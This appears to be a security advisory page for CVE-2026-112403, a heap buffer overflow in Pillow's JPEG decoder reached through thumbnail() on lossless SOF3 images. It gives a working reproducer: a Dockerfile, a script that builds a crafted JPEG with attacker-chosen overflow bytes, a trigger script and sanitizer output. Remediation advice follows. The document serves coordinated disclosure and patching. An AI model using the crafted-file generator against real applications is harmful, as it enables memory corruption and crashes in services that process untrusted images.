CVE-2026-112403: Pillow: Heap buffer overflow in ImagingJpegDecode

Published Oct 19, 2026
·
Updated

Summary

JpegImageFile.draft() — which Image.thumbnail() calls automatically — requests 1/2, 1/4 or 1/8 scaled JPEG output and shrinks self.size and the tile extents to match, so setimage() allocates a single-row decode buffer of ceil(W/s) samples. ImagingJpegDecode() sets cinfo.scalenum/scaledenom, calls jpegstartdecompress(), and then reads scanlines into that buffer without ever comparing cinfo.outputwidth, cinfo.outputheight or cinfo.outcolorcomponents against state->xsize, state->ysize and state->bits.

libjpeg-turbo 3.x decodes lossless (SOF3) JPEG, but hardwires lossless streams to no scaling — the requested scaledenom is silently discarded. It therefore returns full-width W-sample rows into a buffer sized for ceil(W/s). Each jpegreadscanlines() call writes (W - ceil(W/s)) x components bytes past the end of the heap allocation, and the overflowing bytes are the decoded pixel values, which are byte-exact for an 8-bit grayscale lossless image.

The input is a standards-compliant JPEG, so Image.open(..., formats=["JPEG"]) does not prevent it. Pillow's Python SOF parser already accepts marker 0xFFC3 ("SOF3", "Spatial lossless") at 8-bit precision, so the file opens normally as a JPEG / mode L image at its full declared size.

Affected code

At e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):

- src/libImaging/JpegDecode.c:224-262 — ImagingJpegDecode(); jpegstartdecompress() at :240, jpegreadscanlines() at :252, with no geometry check between them. - src/decode.c:222-231 — setimage(); state->buffer = calloc(1, state->bytes) with state->bytes = (state->bits state->xsize + 7) / 8. - src/PIL/JpegImagePlugin.py:428-464 — JpegImageFile.draft(); computes s and shrinks size, the tile extents and decoderconfig with no notion of lossless coding. - src/PIL/JpegImagePlugin.py:271 — 0xFFC3: ("SOF3", "Spatial lossless", SOF).

c // src/libImaging/JpegDecode.c if (context->scale > 1) { context->cinfo.scalenum = 1; context->cinfo.scaledenom = context->scale; } ... case 2: if (!jpegstartdecompress(&context->cinfo)) { break; } state->state++; / fall through / case 3: ok = 1; while (state->y < state->ysize) { ok = jpegreadscanlines(&context->cinfo, &state->buffer, 1);

Because state->ysize (ceil(H/s)) can never equal libjpeg's outputheight when s >= 2, the decode always ends in an error after the rows have already been written: the caller sees an exception and gets no pixels back. The OSError is a consequence of the overflow, not the issue being reported.

Primitive

Per scanline: a contiguous write of (W - ceil(W/s)) x c bytes immediately past a calloc(ceil(W/s) x c) block, where c = 1 for mode L and 4 for RGB (RGBX) and CMYK; repeated for ceil(H/s) rows over the same region. The buffer size class is chosen by the attacker through W, and for grayscale the overflowing content is an arbitrary attacker-chosen byte string.

Measured in the reproducer below: 1200x1100 mode L, s=2 — a 600-byte allocation, 600 bytes written past it, ASan reporting the whole 1200-byte row write as one memcpy.

Threshold: draft() must select s >= 2, i.e. W // requestedw >= 2 and H // requestedh >= 2. For thumbnail((256,256)) with the default reducinggap=2.0 that means W, H >= 1024.

Reproduction

Self-contained Docker reproducer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 and Pillow both built from source with -fsanitize=address; Pillow checked out at ${TARGETCOMMIT}, default e41083f383c9cd3db95de52564cc0b6452313d4a). Save the three files below as Dockerfile, makesof3.py and trigger.py in an empty directory, then:

bash docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob

makesof3.py is a self-contained encoder that emits a standards-compliant 8-bit grayscale lossless-Huffman JPEG (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 predictor 1, Se=0, Ah=Al=0 / entropy-coded row differences / EOI), whose rows carry a repeating marker pattern. trigger.py opens it and calls thumbnail(), whose implicit draft() picks s=2 and allocates a 600-byte row buffer.

Dockerfile

dockerfile FROM ubuntu:24.04 ENV DEBIANFRONTEND=noninteractive ARG TARGETCOMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a ARG CLANGVERSION=20 ARG LIBJPEGTURBOTAG=3.1.4

RUN apt-get update && apt-get install -y --no-install-recommends \ ca-certificates git make cmake nasm pkg-config libc6-dev gcc \ wget gnupg lsb-release software-properties-common \ python3 python3-dev python3-pip python3-venv zlib1g-dev \ && wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANGVERSION} \ && apt-get install -y --no-install-recommends clang-${CLANGVERSION} llvm-${CLANGVERSION} libclang-rt-${CLANGVERSION}-dev \ && rm -rf /var/lib/apt/lists/

ENV CC=clang-20 ENV CXX=clang++-20 ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV LDFLAGS="-fsanitize=address"

--- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan --- RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEGTURBOTAG} \ && cmake -B /build/ljt -S . -DCMAKEBUILDTYPE=None \ -DCMAKECCOMPILER=clang-20 \ -DCMAKECFLAGS="$CFLAGS" \ -DCMAKEEXELINKERFLAGS="$LDFLAGS" \ -DCMAKESHAREDLINKERFLAGS="$LDFLAGS" \ -DCMAKEINSTALLPREFIX=/opt/ljt -DWITHJPEG8=0 -DENABLESTATIC=0 \ && cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt

--- Pillow at the pinned commit, built with ASan against that libjpeg --- RUN git clone https://github.com/python-pillow/Pillow /src/repo WORKDIR /src/repo RUN git checkout ${TARGETCOMMIT}

ENV JPEGROOT=/opt/ljt ENV LDLIBRARYPATH=/opt/ljt/lib RUN python3 -m venv /venv \ && /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \ && CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \ /venv/bin/pip install --no-build-isolation --no-deps . \ && ln -sf "$(clang-20 -print-file-name=libclangrt.asan-x8664.so)" /opt/libasan.so \ && LDPRELOAD=/opt/libasan.so ASANOPTIONS=detectleaks=0 \ /venv/bin/python3 -c "from PIL import Image, features; print(Image.version, features.version('jpg'))"

COPY makesof3.py /tmp/makesof3.py COPY trigger.py /tmp/trigger.py RUN python3 /tmp/makesof3.py /tmp/sof3gray1200x1100.jpg

ENV ASANOPTIONS=detectleaks=0:abortonerror=1:symbolize=1 ENV ASANSYMBOLIZERPATH=/usr/lib/llvm-20/bin/llvm-symbolizer ENV LDPRELOAD=/opt/libasan.so CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]

makesof3.py

python #!/usr/bin/env python3 """Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.

Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra). Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact). """ import struct import sys

W = 1200 H = 1100 MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer

class BitWriter: def init(self): self.out = bytearray() self.acc = 0 self.n = 0

def put(self, value, nbits): for i in range(nbits - 1, -1, -1): self.acc = (self.acc << 1) | ((value >> i) & 1) self.n += 1 if self.n == 8: self.out.append(self.acc) if self.acc == 0xFF: self.out.append(0x00) # byte stuffing self.acc = 0 self.n = 0

def flush(self): while self.n: self.put(1, 1) return bytes(self.out)

Canonical Huffman: 17 symbols (categories 0..16), all of code length 5. BITS = [0] 17 BITS[5] = 17 HUFFVAL = list(range(17)) CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}

def category(d): if d == 0: return 0 return abs(d).bitlength()

def buildpixels(): rows = [] for y in range(H): row = bytearray() while len(row) < W: row += MARKER rows.append(bytes(row[:W])) return rows

def main(path): rows = buildpixels() bw = BitWriter() prev = None for y in range(H): row = rows[y] for x in range(W): s = row[x] if y == 0 and x == 0: pred = 1 << 7 # 2^(P-1-Pt) elif x == 0: pred = prev[0] # Rb for first sample of a line else: pred = row[x - 1] # Ra, predictor 1 d = (s - pred) & 0xFFFF if d >= 0x8000: d -= 0x10000 ssss = category(d) code, length = CODES[ssss] bw.put(code, length) if ssss: v = d if d > 0 else d + (1 << ssss) - 1 bw.put(v & ((1 << ssss) - 1), ssss) prev = row entropy = bw.flush()

out = bytearray() out += b"\xff\xd8" # SOI # DHT: class 0 (DC/lossless), table id 0 dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL) out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht # SOF3: lossless, Huffman, sequential sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0]) out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof # SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0 sos = bytes([1, 1, 0x00, 1, 0, 0]) out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos out += entropy out += b"\xff\xd9" # EOI with open(path, "wb") as f: f.write(bytes(out)) print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")

if name == "main": main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3gray1200x1100.jpg")

trigger.py

python import sys from PIL import Image, features print("Pillow", Image.version, "| libjpeg", features.version("jpg"), flush=True) im = Image.open("/tmp/sof3gray1200x1100.jpg") print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True) print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True) sys.stdout.flush() try: im.thumbnail((256, 256)) print("thumbnail returned, size=%s" % (im.size,), flush=True) except Exception as e: print("exception: %r" % (e,), flush=True)

Validated output:

Pillow 13.0.0.dev0 | libjpeg 6.2 format=JPEG mode=L size=(1200, 1100) >> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer ================================================================= ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422 WRITE of size 1200 at 0x74e4e904aad8 thread T0 #0 asanmemcpy #1 jcopysamplerows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5 #2 sepupsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3 #3 processdatasimplemain /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3 #4 jpegreadscanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3 #5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22 #6 decode /src/repo/src/decode.c:132:14

0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8) allocated by thread T0 here: #0 calloc #1 setimage /src/repo/src/decode.c:230:34

SUMMARY: AddressSanitizer: heap-buffer-overflow in asanmemcpy

Negative control, same image: a baseline DCT JPEG of identical dimensions thumbnails cleanly, because libjpeg honours 1/2 scaling exactly as draft() computed it.

control baseline DCT JPEG: JPEG L (1200, 1100) thumbnail OK, size = (256, 235) -- no ASan report

Scope and caveats

- Reproduced on main at e41083f383c9cd3db95de52564cc0b6452313d4a, which is current origin/main as of 2026-08-30. Also reported against 12.3.0. - Requires the linked libjpeg to support lossless decoding, i.e. libjpeg-turbo >= 3.0. That is what the official Pillow wheels bundle. Builds against libjpeg-turbo 2.x or IJG libjpeg reject SOF3 before any row is decoded and are not affected. - No non-default Pillow configuration is involved: Image.thumbnail() calls draft() by default, and the triggering bytes are entirely file data. - Only paths that use draft() before loading are affected. open().load() and resize() decode at scale 1 and are unaffected. Calling img.load() before thumbnail(), or thumbnail(..., reducinggap=None), avoids the path in an application today. - Not affected on the same code path: SOF11 (arithmetic lossless) fails with JERRARITHNOTIMPL before any row; 12- and 16-bit lossless are rejected by Pillow's SOF() because it requires bits == 8; SOF5-7/13-15 fail with JERRSOFUNSUPPORTED.

Credit and disclosure

Found by Anthropic using Claude to study the security of open-source software, validated manually by Ada Logics.

This report follows Anthropic's coordinated vulnerability disclosure policy (https://www.anthropic.com/coordinated-vulnerability-disclosure), with a 90-day disclosure window from the date of this report.

Credit goes to Claude (Anthropic) and Ada Logics.

Other sources

Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0.

— MITRE

Affected Software

2 affected componentsFixes available
pypi/Pillow<13.0.0
pip/Pillow<=12.3.0
13.0.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  2. Upgrade

    Upgrade Pillow to a version that resolves this vulnerability.

    Fixed in 13.0.0
  3. Configuration

    Avoid the vulnerable draft() path by calling img.load() before thumbnail(), or by invoking thumbnail(..., reducing_gap=None).

    Pillow Image.thumbnail reducing_gap = None

Event History

Oct 19, 2026
CVE Published
via MITRE·09:22 PM
Data Sourced
via MITRE·09:22 PM
DescriptionWeakness
Data Sourced
via NVD·10:17 PM
DescriptionSeverityWeakness
Oct 20, 2026
Advisory Published
via GitHub·08:40 PM
Data Sourced
via GitHub·08:40 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are actually exposed to this issue?

Exposure requires Pillow before 13.0.0, an application path that calls draft() or thumbnail() to request JPEG downscaling, and a build linked against libjpeg-turbo 3.x. Builds using libjpeg-turbo 2.x or IJG libjpeg reject the relevant SOF3 JPEG input.

2

What does an attacker need to exploit the flaw?

An attacker needs to be able to supply a crafted 8-bit lossless SOF3 JPEG to an application that processes attacker-controlled JPEGs with draft() or thumbnail(). No authentication or user interaction is indicated by the supplied CVSS vector.

3

How can we determine whether our environment is affected?

Check whether the installed Pillow version is earlier than 13.0.0, whether the application uses draft() or thumbnail() for JPEGs, and which JPEG library the Pillow build is linked against. The described vulnerable condition applies specifically to libjpeg-turbo 3.x.

4

What is the remediation?

Upgrade Pillow to version 13.0.0, which fixes the issue. Until upgrading, avoid processing untrusted JPEGs through code paths that request downscaling with draft() or thumbnail().

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203